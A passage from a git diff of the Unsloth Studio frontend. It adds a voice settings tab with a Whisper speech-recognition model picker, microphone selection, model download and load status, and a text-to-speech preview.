+                    {t("settings.resources.storage.resetAction")}
+                  </Button>
+                ) : null}
+              </div>
+            ) : null}
           </div>
         </SettingsRow>
       </SettingsSection>
 
+      <FolderBrowser
+        open={!isTauri && cacheBrowserOpen}
+        onOpenChange={setCacheBrowserOpen}
+        onSelect={(path) => void saveCacheFolder(path)}
+        initialPath={hfCache?.cacheHome}
+        title={t("settings.resources.storage.chooseTitle")}
+        confirmLabel={t("settings.resources.storage.chooseAction")}
+        showModelHints={false}
+      />
+
       <SettingsSection title={t("settings.resources.environment.title")}>
         <InfoRow
           label={t("settings.resources.environment.backend")}
diff --git a/studio/frontend/src/features/settings/tabs/voice-tab.tsx b/studio/frontend/src/features/settings/tabs/voice-tab.tsx
new file mode 100644
index 0000000000..59c03bdf14
--- /dev/null
+++ b/studio/frontend/src/features/settings/tabs/voice-tab.tsx
@@ -0,0 +1,1269 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { Button } from "@/components/ui/button";
+import { Input } from "@/components/ui/input";
+import {
+  Popover,
+  PopoverContent,
+  PopoverTrigger,
+} from "@/components/ui/popover";
+import {
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+} from "@/components/ui/select";
+import { Slider } from "@/components/ui/slider";
+import { Spinner } from "@/components/ui/spinner";
+import { Switch } from "@/components/ui/switch";
+import {
+  StudioModelDictationAdapter,
+  type SttDownloadStatus,
+  fetchSttStatus,
+  loadSttModel,
+  startSttDownload,
+  unloadSttModel,
+  validateSttModel,
+  StudioSpeechSynthesisAdapter,
+  createConfiguredUtterance,
+  curateSystemVoices,
+  generateStudioTtsAudio,
+} from "@/features/chat";
+import {
+  DownloadProgressBar,
+  hfApiToken,
+  useHfTokenStore,
+  useHubModelSearch,
+} from "@/features/hub";
+import { useDebouncedValue, useWheelScrollRef } from "@/hooks";
+import { useT } from "@/i18n";
+import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
+import { MicIcon } from "@/lib/mic-icon";
+import { toast } from "@/lib/toast";
+import { Search01Icon, VolumeHighIcon } from "@hugeicons/core-free-icons";
+import { HugeiconsIcon } from "@hugeicons/react";
+import { SquareIcon } from "lucide-react";
+import { useCallback, useEffect, useMemo, useRef, useState } from "react";
+import { DictationDictionaryView } from "../components/dictation-dictionary-view";
+import { RecentDictationsView } from "../components/recent-dictations-view";
+import { SettingsRow } from "../components/settings-row";
+import { SettingsSection } from "../components/settings-section";
+import {
+  type DefaultSttModel,
+  STT_MODELS,
+  type SttModel,
+  getSttModelRepo,
+  isCuratedSttModel,
+  isSttModelId,
+  isSttModelLanguageCompatible,
+  useVoiceSettingsStore,
+} from "../stores/voice-settings-store";
+
+// Languages shared by browser speech recognition and local STT.
+const DICTATION_LANGUAGES: { value: string; label: string }[] = [
+  { value: "auto", label: "" }, // label rendered via i18n
+  { value: "en-US", label: "English (US)" },
+  { value: "en-GB", label: "English (UK)" },
+  { value: "zh-CN", label: "中文 (简体)" },
+  { value: "ja-JP", label: "日本語" },
+  { value: "ko-KR", label: "한국어" },
+  { value: "es-ES", label: "Español" },
+  { value: "fr-FR", label: "Français" },
+  { value: "de-DE", label: "Deutsch" },
+  { value: "it-IT", label: "Italiano" },
+  { value: "pt-BR", label: "Português (Brasil)" },
+  { value: "ru-RU", label: "Русский" },
+  { value: "hi-IN", label: "हिन्दी" },
+  { value: "ar-SA", label: "العربية" },
+];
+
+// Speech-recognition models, not voices. Name and size are separate so the list
+// can right-align the size; the speed/accuracy note lives in the row description.
+const STT_MODEL_NAMES: Record<DefaultSttModel, string> = {
+  tiny: "Whisper Tiny",
+  base: "Whisper Base",
+  small: "Whisper Small",
+  "large-v3-turbo": "Whisper Large v3 Turbo",
+  "large-v3": "Whisper Large v3",
+};
+// Curated models run as f16 GGML files through whisper.cpp.
+const STT_MODEL_SIZES: Record<DefaultSttModel, string> = {
+  tiny: "78 MB",
+  base: "148 MB",
+  small: "488 MB",
+  "large-v3-turbo": "1.6 GB",
+  "large-v3": "3.1 GB",
+};
+
+function sttModelName(model: SttModel): string {
+  return STT_MODEL_NAMES[model as DefaultSttModel] ?? model;
+}
+
+function sttModelSize(model: SttModel): string {
+  return STT_MODEL_SIZES[model as DefaultSttModel] ?? "";
+}
+
+/** Source repository shown under a model row. Curated models download from
+ * the Unsloth GGUF repos, mirrored by the backend (stt_ggml_sidecar.py). */
+function sttModelSource(model: SttModel): string {
+  return isCuratedSttModel(model)
+    ? `unslothai/whisper-${model}-GGUF`
+    : getSttModelRepo(model);
+}
+
+/**
+ * Model picker for local transcription. Lists the curated whisper.cpp
+ * checkpoints and searches Hugging Face for other Whisper repos (safetensors via
+ * Transformers). The trigger is a plain button so the selection never renders
+ * inside a text input.
+ */
+function SttModelPicker({
+  value,
+  language,
+  onChange,
+}: {
+  value: SttModel;
+  language: string;
+  onChange: (model: SttModel) => void;
+}) {
+  const t = useT();
+  const hfToken = useHfTokenStore((state) => state.token);
+  const [open, setOpen] = useState(false);
+  const [query, setQuery] = useState("");
+  const [validating, setValidating] = useState(false);
+  const resultsRef = useWheelScrollRef<HTMLDivElement>();
+  const debouncedQuery = useDebouncedValue(query.trim());
+
+  const { results, isLoading } = useHubModelSearch(debouncedQuery, {
+    task: "automatic-speech-recognition",
+    accessToken: hfApiToken(hfToken),
+    excludeGguf: true,
+    enabled: debouncedQuery.length >= 2,
+    keepUnsupportedTags: true,
+    ownerScope: "all",
+  });
+
+  const items = useMemo(() => {
+    if (!debouncedQuery) {
+      const defaults: string[] = STT_MODELS.filter((model) =>
+        isSttModelLanguageCompatible(model, language),
+      );
+      if (!defaults.includes(value)) {
+        defaults.push(value);
+      }
+      return defaults;
+    }
+    const ids: string[] = [];
+    for (const result of results) {
+      const tags = result.tags?.map((tag) => tag.toLowerCase()) ?? [];
+      const isWhisper =
+        result.id.toLowerCase().includes("whisper") || tags.includes("whisper");
+      const isExactMatch =
+        result.id.toLowerCase() === debouncedQuery.toLowerCase();
+      if (
+        (isExactMatch ||
+          (isWhisper &&
+            result.pipelineTag === "automatic-speech-recognition")) &&
+        isSttModelLanguageCompatible(result.id, language) &&
+        !ids.includes(result.id)
+      ) {
+        ids.push(result.id);
+      }
+    }
+    return ids;
+  }, [debouncedQuery, language, results, value]);
+
+  const selectModel = async (model: string) => {
+    if (!isSttModelId(model) || validating) {
+      return;
+    }
+    if (!isCuratedSttModel(model)) {
+      setValidating(true);
+      try {
+        await validateSttModel(model, hfApiToken(hfToken));
+      } catch (error) {
+        toast.error(t("settings.voice.dictation.sttModelInvalid"), {
+          description: error instanceof Error ? error.message : undefined,
+        });
+        return;
+      } finally {
+        setValidating(false);
+      }
+    }
+    onChange(model);
+    setOpen(false);
+    setQuery("");
+  };
+
+  return (
+    <Popover
+      open={open}
+      onOpenChange={(next) => {
+        setOpen(next);
+        if (!next) setQuery("");
+      }}
+    >
+      <PopoverTrigger asChild={true}>
+        <button
+          type="button"
+          aria-label="Speech recognition model"
+          className="border-border bg-background hover:bg-accent/50 dark:border-transparent dark:bg-white/[0.06] dark:hover:bg-white/10 focus-visible:border-ring flex h-8 w-full cursor-pointer items-center justify-between gap-1.5 rounded-full border px-3.5 text-sm outline-none transition-colors"
+        >
+          <span className="truncate">{sttModelName(value)}</span>
+          <HugeiconsIcon
+            icon={ChevronDownStandardIcon}
+            strokeWidth={2}
+            className="text-muted-foreground pointer-events-none size-4 shrink-0"
+          />
+        </button>
+      </PopoverTrigger>
+      <PopoverContent align="start" sideOffset={4} className="w-72 gap-0 p-0">
+        <div className="relative p-1.5 pb-0.5">
+          <HugeiconsIcon
+            icon={Search01Icon}
+            strokeWidth={2}
+            className="text-muted-foreground pointer-events-none absolute top-[calc(50%+2px)] left-4 size-3.5 -translate-y-1/2"
+          />
+          <Input
+            value={query}
+            onChange={(event) => setQuery(event.target.value)}
+            placeholder={t(
+              "settings.voice.dictation.sttModelSearchPlaceholder",
+            )}
+            className="h-8 pl-8 text-sm"
+            autoFocus={true}
+            onKeyDown={(event) => {
+              if (event.key === "Enter" && items.length > 0) {
+                event.preventDefault();
+                void selectModel(items[0]);
+              }
+            }}
+          />
+        </div>
+        <div
+          ref={resultsRef}
+          data-testid="stt-model-results"
+          className="max-h-64 overflow-y-auto p-1"
+        >
+          {(isLoading && debouncedQuery) || validating ? (
+            <div className="flex items-center gap-2 px-3 py-3 text-xs text-muted-foreground">
+              <Spinner className="size-3.5" />
+              {validating
+                ? t("settings.voice.dictation.sttModelValidating")
+                : t("settings.voice.dictation.sttModelSearching")}
+            </div>
+          ) : items.length === 0 ? (
+            <div className="px-3 py-3 text-xs text-muted-foreground">
+              {t("settings.voice.dictation.sttModelNoResults")}
+            </div>
+          ) : (
+            items.map((model) => {
+              // A custom repo's name is its id: one-line rows keep a pill shape,
+              // two-line rows use a subtler radius.
+              const twoLines = sttModelSource(model) !== sttModelName(model);
+              return (
+                <button
+                  key={model}
+                  type="button"
+                  onClick={() => void selectModel(model)}
+                  aria-selected={model === value}
+                  className={`flex w-full items-center justify-between gap-3 px-2.5 py-1.5 text-left transition-colors hover:bg-muted ${
+                    twoLines ? "rounded-sm" : "rounded-full"
+                  } ${model === value ? "bg-accent font-medium" : ""}`}
+                >
+                  <span className="min-w-0 flex-1 truncate">
+                    <span className="block truncate text-xs">
+                      {sttModelName(model)}
+                    </span>
+                    {twoLines ? (
+                      <span className="mt-0.5 block truncate font-mono text-[9px] leading-tight text-muted-foreground">
+                        {sttModelSource(model)}
+                      </span>
+                    ) : null}
+                  </span>
+                  {sttModelSize(model) ? (
+                    <span className="shrink-0 text-[10px] tabular-nums text-muted-foreground">
+                      {sttModelSize(model)}
+                    </span>
+                  ) : null}
+                </button>
+              );
+            })
+          )}
+        </div>
+      </PopoverContent>
+    </Popover>
+  );
+}
+
+const TTS_PREVIEW_TEXT =
+  "Hello from Unsloth Studio! This is a preview of the selected voice.";
+
+function useAudioInputDevices() {
+  const t = useT();
+  const [devices, setDevices] = useState<MediaDeviceInfo[]>([]);
+  const [hasLabels, setHasLabels] = useState(false);
+
+  const refresh = useCallback(async () => {
+    if (!navigator.mediaDevices?.enumerateDevices) return;
+    try {
+      const all = await navigator.mediaDevices.enumerateDevices();
+      const inputs = all.filter((d) => d.kind === "audioinput");
+      setDevices(inputs);
+      setHasLabels(inputs.some((d) => d.label));
+    } catch {
+      // Enumeration can fail in insecure contexts; leave the list empty.
+    }
+  }, []);
+
+  useEffect(() => {
+    const media = navigator.mediaDevices;
+    if (!media?.addEventListener) {
+      return;
+    }
+    let cancelled = false;
+    media
+      .enumerateDevices()
+      .then((all) => {
+        if (cancelled) {
+          return;
+        }
+        const inputs = all.filter((device) => device.kind === "audioinput");
+        setDevices(inputs);
+        setHasLabels(inputs.some((device) => device.label));
+      })
+      .catch(() => {
+        // Enumeration can fail in insecure contexts; leave the list empty.
+      });
+    media.addEventListener("devicechange", refresh);
+    return () => {
+      cancelled = true;
+      media.removeEventListener("devicechange", refresh);
+    };
+  }, [refresh]);
+
+  // Labels are hidden until mic permission; open a short stream to get them.
+  const requestAccess = useCallback(async () => {
+    // Insecure contexts (plain http on a LAN address) have no mediaDevices.
+    if (!navigator.mediaDevices?.getUserMedia) {
+      toast.error(t("settings.voice.dictation.micAccessUnsupported"));
+      return;
+    }
+    try {
+      const stream = await navigator.mediaDevices.getUserMedia({
+        audio: true,
+      });
+      for (const track of stream.getTracks()) {
+        track.stop();
+      }
+      await refresh();
+    } catch {
+      toast.error(t("settings.voice.dictation.micAccessBlocked"));
+    }
+  }, [refresh, t]);
+
+  return { devices, hasLabels, requestAccess };
+}
+
+function useSystemVoices() {
+  const [voices, setVoices] = useState<SpeechSynthesisVoice[]>([]);
+
+  useEffect(() => {
+    if (typeof window === "undefined" || !window.speechSynthesis) return;
+    const synth = window.speechSynthesis;
+    const load = () => setVoices(synth.getVoices());
+    load();
+    synth.addEventListener?.("voiceschanged", load);
+    return () => synth.removeEventListener?.("voiceschanged", load);
+  }, []);
+
+  return voices;
+}
+
+export function VoiceTab() {
+  const t = useT();
+  const micDeviceId = useVoiceSettingsStore((s) => s.micDeviceId);
+  const setMicDeviceId = useVoiceSettingsStore((s) => s.setMicDeviceId);
+  const dictationEngine = useVoiceSettingsStore((s) => s.dictationEngine);
+  const setDictationEngine = useVoiceSettingsStore((s) => s.setDictationEngine);
+  const sttModel = useVoiceSettingsStore((s) => s.sttModel);
+  const setSttModel = useVoiceSettingsStore((s) => s.setSttModel);
+  const dictationLanguage = useVoiceSettingsStore((s) => s.dictationLanguage);
+  const setDictationLanguage = useVoiceSettingsStore(
+    (s) => s.setDictationLanguage,
+  );
+  const ttsEnabled = useVoiceSettingsStore((s) => s.ttsEnabled);
+  const setTtsEnabled = useVoiceSettingsStore((s) => s.setTtsEnabled);
+  const ttsEngine = useVoiceSettingsStore((s) => s.ttsEngine);
+  const setTtsEngine = useVoiceSettingsStore((s) => s.setTtsEngine);
+  const ttsVoiceURI = useVoiceSettingsStore((s) => s.ttsVoiceURI);
+  const setTtsVoiceURI = useVoiceSettingsStore((s) => s.setTtsVoiceURI);
+  const ttsRate = useVoiceSettingsStore((s) => s.ttsRate);
+  const setTtsRate = useVoiceSettingsStore((s) => s.setTtsRate);
+  const ttsPitch = useVoiceSettingsStore((s) => s.ttsPitch);
+  const setTtsPitch = useVoiceSettingsStore((s) => s.setTtsPitch);
+  const ttsVolume = useVoiceSettingsStore((s) => s.ttsVolume);
+  const setTtsVolume = useVoiceSettingsStore((s) => s.setTtsVolume);
+
+  const { devices, hasLabels, requestAccess } = useAudioInputDevices();
+  const rawVoices = useSystemVoices();
+  const voices = useMemo(
+    () => curateSystemVoices(rawVoices, ttsVoiceURI, dictationLanguage),
+    [rawVoices, ttsVoiceURI, dictationLanguage],
+  );
+  const [previewing, setPreviewing] = useState(false);
+  const [subpage, setSubpage] = useState<"main" | "recents" | "dictionary">(
+    "main",
+  );
+  const [selectedDictationId, setSelectedDictationId] = useState<string | null>(
+    null,
+  );
+
+  const modelSttSupported = StudioModelDictationAdapter.isSupported();
+  const ttsSupported = StudioSpeechSynthesisAdapter.isSupported();
+  const systemTtsSupported =
+    StudioSpeechSynthesisAdapter.systemVoicesSupported();
+  const effectiveTtsEngine = systemTtsSupported ? ttsEngine : "studio";
+
+  // Local STT stays on-demand. Track its phase without fetching model weights.
+  type SttPhase =
+    | "idle"
+    | "checking"
+    | "on-demand"
+    | "unavailable"
+    | "loading"
+    | "ready"
+    | "error";
+  type SttDownloadAvailability =
+    | "checking"
+    | "missing"
+    | "downloaded"
+    | "error";
+  const [sttPhase, setSttPhase] = useState<SttPhase>("idle");
+  const [sttDevice, setSttDevice] = useState<string | null>(null);
+  const [statusNonce, setStatusNonce] = useState(0);
+  const [sttDownloadStarting, setSttDownloadStarting] = useState(false);
+  const [sttUnloading, setSttUnloading] = useState(false);
+  const isLocalEngine = dictationEngine === "model";
+  // The model decides the backend: curated ids run GGML through whisper.cpp,
+  // custom repos run through Transformers.
+  const isGgufModel = isCuratedSttModel(sttModel);
+  // Progress of the selected engine's model download, from /stt/status.
+  const [sttDownload, setSttDownload] = useState<SttDownloadStatus | null>(
+    null,
+  );
+  const [downloadBytesPerSec, setDownloadBytesPerSec] = useState(0);
+  // Last observed (bytes, time) so successive polls yield a transfer rate.
+  const downloadRateSampleRef = useRef<{ bytes: number; at: number } | null>(
+    null,
+  );
+  // Model whose download this tab watched; completion auto-loads it.
+  const watchedDownloadRef = useRef<string | null>(null);
+
+  // Selecting a model (or finishing its download) loads it without a Load
+  // click. A model that is not downloaded fails quietly and stays on demand.
+  const autoLoadSttModel = useCallback(async (model: string) => {
+    setSttPhase("loading");
+    try {
+      await loadSttModel(model);
+    } catch {
+      // Not downloaded (or the engine is busy): the status poll resets the phase
+      // and the user still sees the Download button.
+    } finally {
+      setStatusNonce((nonce) => nonce + 1);
+    }
+  }, []);
+  const sttRepoId = getSttModelRepo(sttModel);
+  const hfToken = useHfTokenStore((state) => state.token);
+  const [sttDownloadAvailability, setSttDownloadAvailability] = useState<{
+    repoId: string;
+    state: SttDownloadAvailability;
+  }>({ repoId: "", state: "checking" });
+  const effectiveSttDownloadAvailability =
+    sttDownloadAvailability.repoId === sttRepoId
+      ? sttDownloadAvailability.state
+      : "checking";
+  useEffect(() => {
+    if (!isLocalEngine || !modelSttSupported) {
+      return;
+    }
+    let cancelled = false;
+    void (async () => {
+      // Only surface "checking" on the first poll; background refreshes keep
+      // the last phase so the status line doesn't flicker while polling.
+      setSttPhase((phase) => (phase === "idle" ? "checking" : phase));
+      try {
+        const status = await fetchSttStatus(statusNonce, sttModel);
+        if (cancelled) return;
+        // A curated model prefers the GGUF (whisper.cpp) engine, but without
+        // whisper-server the backend serves it through Transformers instead of
+        // failing. Fall back to the Transformers status here too, or the model
+        // shows as unavailable and download is blocked even though it works.
+        const engineStatus =
+          isGgufModel && status.gguf?.available
+            ? status.gguf
+            : status.transformers;
+        if (!engineStatus?.available) {
+          setSttPhase("unavailable");
+          return;
+        }
+        const download = engineStatus.download;
+        setSttDownload(download);
+        setSttDownloadAvailability({
+          repoId: sttRepoId,
+          state: engineStatus.downloaded_models.includes(sttModel)
+            ? "downloaded"
+            : download.error
+              ? "error"
+              : "missing",
+        });
+        if (download.downloading) {
+          watchedDownloadRef.current = download.model;
+          const bytes = download.bytes_done ?? 0;
+          const sample = downloadRateSampleRef.current;
+          const now = Date.now();
+          if (sample && bytes > sample.bytes && now > sample.at) {
+            setDownloadBytesPerSec(
+              ((bytes - sample.bytes) * 1000) / (now - sample.at),
+            );
+          }
+          downloadRateSampleRef.current = { bytes, at: now };
+          // Keep the download progress fresh.
+          window.setTimeout(() => {
+            if (!cancelled) setStatusNonce((n) => n + 1);
+          }, 800);
+        } else {
+          const finished = watchedDownloadRef.current;
+          watchedDownloadRef.current = null;
+          downloadRateSampleRef.current = null;
+          setDownloadBytesPerSec(0);
+          if (
+            finished === sttModel &&
+            engineStatus.downloaded_models.includes(sttModel) &&
+            engineStatus.loaded_model !== sttModel
+          ) {
+            // The download this tab watched just finished; load the model.
+            void autoLoadSttModel(sttModel);
+            return;
+          }
+        }
+        if (engineStatus.loading) {
+          setSttPhase("loading");
+          window.setTimeout(() => {
+            if (!cancelled) setStatusNonce((n) => n + 1);
+          }, 600);
+          return;
+        }
+        if (engineStatus.loaded_model === sttModel && !engineStatus.loading) {
+          setSttDevice(engineStatus.device);
+          setSttPhase("ready");
+          window.setTimeout(
+            () => {
+              if (!cancelled) setStatusNonce((n) => n + 1);
+            },
+            Math.max(
+              1000,
+              Math.min(engineStatus.keep_alive_seconds * 1000, 15_000),
+            ),
+          );
+          return;
+        }
+        // Merely opening settings or selecting local STT never downloads or
+        // loads a model. Loading begins from Load or when recording starts.
+        setSttDevice(null);
+        setSttPhase("on-demand");
+      } catch {
+        if (!cancelled) setSttPhase("error");
+      }
+    })();
+    return () => {
+      cancelled = true;
+    };
+  }, [
+    isLocalEngine,
+    isGgufModel,
+    sttModel,
+    sttRepoId,
+    modelSttSupported,
+    statusNonce,
+    autoLoadSttModel,
+  ]);
+
+  const sttStatusText = (() => {
+    switch (sttPhase) {
+      case "checking":
+        return t("settings.voice.dictation.sttChecking");
+      case "loading":
+        return t("settings.voice.dictation.sttLoadingModel");
+      case "on-demand":
+        return t("settings.voice.dictation.sttOnDemand");
+      case "ready":
+        // The GGML backend reports its runtime name, not a device; show a plain
+        // "Loaded" rather than surfacing it.
+        return sttDevice && sttDevice !== "whisper.cpp"
+          ? t("settings.voice.dictation.sttReady", {
+              device: sttDevice.toUpperCase(),
+            })
+          : t("settings.voice.dictation.sttLoaded");
+      case "unavailable":
+        return t("settings.voice.dictation.sttUnavailable");
+      case "error":
+        return t("settings.voice.dictation.sttModelFailed");
+      default:
+        return "";
+    }
+  })();
+
+  const downloadingThisModel =
+    isLocalEngine &&
+    sttDownload?.downloading === true &&
+    sttDownload.model === sttModel;
+
+  const sttModelStatusText = (() => {
+    if (downloadingThisModel) {
+      const total = sttDownload?.bytes_total ?? 0;
+      const done = sttDownload?.bytes_done ?? 0;
+      return t("settings.voice.dictation.sttDownloading", {
+        progress:
+          total > 0 ? Math.min(99, Math.round((done / total) * 100)) : 0,
+      });
+    }
+    if (sttPhase === "unavailable") {
+      return sttStatusText;
+    }
+    switch (effectiveSttDownloadAvailability) {
+      case "checking":
+        return t("settings.voice.dictation.sttDownloadChecking");
+      case "missing":
+        return t("settings.voice.dictation.sttNotDownloaded");
+      case "error":
+        return t("settings.voice.dictation.sttDownloadStatusFailed");
+      case "downloaded":
+        return sttStatusText;
+      default:
+        return "";
+    }
+  })();
+
+  const beginSttDownload = async () => {
+    setSttDownloadStarting(true);
+    try {
+      // Engine-managed download; progress arrives via /stt/status.
+      await startSttDownload(sttModel, hfApiToken(hfToken));
+      setStatusNonce((nonce) => nonce + 1);
+    } catch (error) {
+      toast.error(t("settings.voice.dictation.sttDownloadFailed"), {
+        description: error instanceof Error ? error.message : undefined,
+      });
+    } finally {
+      setSttDownloadStarting(false);
+    }
+  };
+
+  const warmSttModel = async () => {
+    setSttPhase("loading");
+    try {
+      await loadSttModel(sttModel);
+      setStatusNonce((nonce) => nonce + 1);
+    } catch (error) {
+      setSttPhase("error");
+      toast.error(t("settings.voice.dictation.sttModelFailed"), {
+        description: error instanceof Error ? error.message : undefined,
+      });
+    }
+  };
+
+  const releaseSttModel = async () => {
+    setSttUnloading(true);
+    try {
+      await unloadSttModel();
+      setStatusNonce((nonce) => nonce + 1);
+    } catch (error) {
+      toast.error(t("settings.voice.dictation.sttModelFailed"), {
+        description: error instanceof Error ? error.message : undefined,
+      });
+    } finally {
+      setSttUnloading(false);
+    }
+  };
+
+  // Keep an item for an unplugged saved mic so the value stays visible.
+  const knownMic = devices.some((d) => d.deviceId === micDeviceId);
+
+  const previewAudioRef = useRef<HTMLAudioElement | null>(null);
+  const previewAbortRef = useRef<AbortController | null>(null);
+  // Mirrors `previewing` so unmount cleanup can tell whether this tab owns
+  // the current speechSynthesis utterance; read-aloud shares the global
+  // synthesizer and must not be cancelled by merely closing settings.
+  const previewingRef = useRef(false);
+  // Only a system-voice preview owns the shared speechSynthesis channel; a
+  // studio (Audio) preview must not cancel an unrelated chat read-aloud.
+  const ownsSystemPreviewRef = useRef(false);
+  const markPreviewing = useCallback((value: boolean) => {
+    previewingRef.current = value;
+    setPreviewing(value);
+  }, []);
+
+  const releasePreviewAudio = useCallback(() => {
+    if (previewAudioRef.current) {
+      previewAudioRef.current.pause();
+      previewAudioRef.current.src = "";
+      previewAudioRef.current = null;
+    }
+  }, []);
+
+  const stopPreview = useCallback(() => {
+    if (!previewingRef.current) return;
+    if (ownsSystemPreviewRef.current) {
+      window.speechSynthesis?.cancel();
+      ownsSystemPreviewRef.current = false;
+    }
+    previewAbortRef.current?.abort();
+    previewAbortRef.current = null;
+    releasePreviewAudio();
+    markPreviewing(false);
+  }, [markPreviewing, releasePreviewAudio]);
+
+  const previewTts = async () => {
+    if (!ttsSupported) return;
+    // Ref, not state: a double-click before rerender still reads previewing
+    // as false and would start a second request that orphans the first.
+    if (previewingRef.current) {
+      stopPreview();
+      return;
+    }
+    if (effectiveTtsEngine === "studio") {
+      const controller = new AbortController();
+      previewAbortRef.current = controller;
+      ownsSystemPreviewRef.current = false;
+      markPreviewing(true);
+      try {
+        const url = await generateStudioTtsAudio(
+          TTS_PREVIEW_TEXT,
+          controller.signal,
+        );
+        if (controller.signal.aborted) return;
+        const audio = new Audio(url);
+        audio.playbackRate = ttsRate;
+        audio.volume = ttsVolume;
+        // Some browsers reset playbackRate once metadata loads.
+        audio.addEventListener("loadedmetadata", () => {
+          audio.playbackRate = ttsRate;
+        });
+        audio.addEventListener("ended", () => {
+          releasePreviewAudio();
+          markPreviewing(false);
+        });
+        audio.addEventListener("error", () => {
+          releasePreviewAudio();
+          markPreviewing(false);
+          toast.error("TTS preview failed");
+        });
+        previewAudioRef.current = audio;
+        await audio.play();
+      } catch (error) {
+        if (!controller.signal.aborted) {
+          toast.error(
+            error instanceof Error ? error.message : "TTS preview failed",
+          );
+        }
+        releasePreviewAudio();
+        markPreviewing(false);
+      }
+      return;
+    }
+    if (!StudioSpeechSynthesisAdapter.systemVoicesSupported()) {
+      toast.error(t("settings.voice.readAloud.notSupported"));
+      return;
+    }
+    const utterance = createConfiguredUtterance(TTS_PREVIEW_TEXT);
+    utterance.addEventListener("end", () => {
+      ownsSystemPreviewRef.current = false;
+      markPreviewing(false);
+    });
+    utterance.addEventListener("error", () => {
+      ownsSystemPreviewRef.current = false;
+      markPreviewing(false);
+    });
+    ownsSystemPreviewRef.current = true;
+    window.speechSynthesis.cancel();
+    window.speechSynthesis.speak(utterance);
+    markPreviewing(true);
+  };
+
+  // Stop any preview playback when the tab unmounts.
+  useEffect(() => stopPreview, [stopPreview]);
+
+  if (subpage === "recents") {
+    return (
+      <RecentDictationsView
+        selectedId={selectedDictationId}
+        onSelect={setSelectedDictationId}
+        onBack={() => {
+          setSelectedDictationId(null);
+          setSubpage("main");
+        }}
+      />
+    );
+  }
+
+  if (subpage === "dictionary") {
+    return <DictationDictionaryView onBack={() => setSubpage("main")} />;
+  }
+
+  return (
+    <div className="flex flex-col gap-6">
+      <header className="flex flex-col gap-1">
+        <h1 className="text-xl font-semibold font-heading">
+          {t("settings.voice.title")}
+        </h1>
+        <p className="text-xs text-muted-foreground">
+          {t("settings.voice.description")}
+        </p>
+      </header>
+
+      <SettingsSection title={t("settings.voice.dictation.sectionTitle")}>
+        <SettingsRow
+          label={t("settings.voice.dictation.engineLabel")}
+          description={
+            dictationEngine === "model"
+              ? t("settings.voice.dictation.engineModelDescription")
+              : t("settings.voice.dictation.engineBrowserDescription")
+          }
+        >
+          <Select
+            value={dictationEngine}
+            onValueChange={(value) => {
+              const next = value === "model" ? "model" : "browser";
+              if (next !== dictationEngine) {
+                // Unload whichever backend was resident for the old engine.
+                void unloadSttModel().catch(() => {});
+                if (next === "model") {
+                  setSttPhase("checking");
+                  setSttDevice(null);
+                  setSttDownload(null);
+                }
+              }
+              setDictationEngine(next);
+            }}
+          >
+            <SelectTrigger
+              aria-label="Dictation engine"
+              className="w-56"
+              size="sm"
+            >
+              <SelectValue />
+            </SelectTrigger>
+            <SelectContent>
+              <SelectItem value="browser">
+                {t("settings.voice.dictation.engineBrowser")}
+              </SelectItem>
+              <SelectItem value="model">
+                {t("settings.voice.dictation.engineModel")}
+              </SelectItem>
+            </SelectContent>
+          </Select>
+        </SettingsRow>
+
+        {isLocalEngine ? (
+          modelSttSupported ? (
+            <SettingsRow
+              label={t("settings.voice.dictation.sttModelLabel")}
+              description={t("settings.voice.dictation.sttModelDescription")}
+            >
+              <div className="flex w-56 flex-col items-stretch gap-2">
+                <SttModelPicker
+                  value={sttModel}
+                  language={dictationLanguage}
+                  onChange={(next) => {
+                    if (next !== sttModel) {
+                      void unloadSttModel().catch(() => {});
+                      void autoLoadSttModel(next);
+                    }
+                    setSttModel(next);
+                  }}
+                />
+                {downloadingThisModel ? (
+                  <div className="rounded-md border border-border/60 bg-muted/20 px-2.5 pt-2">
+                    <div className="mb-1.5 flex items-center justify-between gap-3">
+                      <span className="text-xs text-muted-foreground">
+                        {sttModelStatusText}
+                      </span>
+                    </div>
+                    <DownloadProgressBar
+                      progress={{
+                        expectedBytes: sttDownload?.bytes_total ?? 0,
+                        downloadedBytes: sttDownload?.bytes_done ?? 0,
+                        fraction:
+                          sttDownload?.bytes_total &&
+                          sttDownload.bytes_total > 0
+                            ? (sttDownload.bytes_done ?? 0) /
+                              sttDownload.bytes_total
+                            : 0,
+                      }}
+                      bytesPerSec={downloadBytesPerSec}
+                    />
+                  </div>
+                ) : (
+                  <div className="flex min-h-7 items-center justify-between gap-3">
+                    <span className="flex min-w-0 items-center gap-2 text-xs text-muted-foreground">
+                      {effectiveSttDownloadAvailability === "checking" ||
+                      sttPhase === "loading" ||
+                      sttPhase === "checking" ? (
+                        <span className="size-1.5 shrink-0 animate-pulse rounded-full bg-current" />
+                      ) : sttPhase === "ready" ||
+                        (effectiveSttDownloadAvailability === "downloaded" &&
+                          sttPhase === "on-demand") ? (
+                        <span className="size-1.5 shrink-0 rounded-full bg-emerald-500" />
+                      ) : effectiveSttDownloadAvailability === "error" ||
+                        sttPhase === "error" ? (
+                        <span className="size-1.5 shrink-0 rounded-full bg-destructive" />
+                      ) : null}
+                      <span>{sttModelStatusText}</span>
+                    </span>
+                    {sttPhase === "unavailable" ? (
+                      <Button
+                        variant="ghost"
+                        size="sm"
+                        className="h-7 px-2 text-xs"
+                        onClick={() => setStatusNonce((nonce) => nonce + 1)}
+                      >
+                        {t("settings.voice.dictation.sttRetry")}
+                      </Button>
+                    ) : effectiveSttDownloadAvailability === "error" ? (
+                      <Button
+                        variant="ghost"
+                        size="sm"
+                        className="h-7 px-2 text-xs"
+                        disabled={sttDownloadStarting || downloadingThisModel}
+                        // Restart the download; the sidecar error is sticky until
+                        // a new start(), so re-polling alone never clears it.
+                        onClick={beginSttDownload}
+                      >
+                        {t("settings.voice.dictation.sttRetry")}
+                      </Button>
+                    ) : effectiveSttDownloadAvailability === "missing" ? (
+                      <Button
+                        variant="outline"
+                        size="sm"
+                        className="h-7 px-2.5 text-xs"
+                        disabled={sttDownloadStarting || downloadingThisModel}
+                        onClick={beginSttDownload}
+                      >
+                        {sttDownloadStarting || downloadingThisModel ? (
+                          <Spinner className="mr-1.5" />
+                        ) : null}
+                        {t("settings.voice.dictation.sttDownload")}
+                      </Button>
+                    ) : effectiveSttDownloadAvailability === "downloaded" ? (
+                      sttPhase === "ready" ? (
+                        <Button
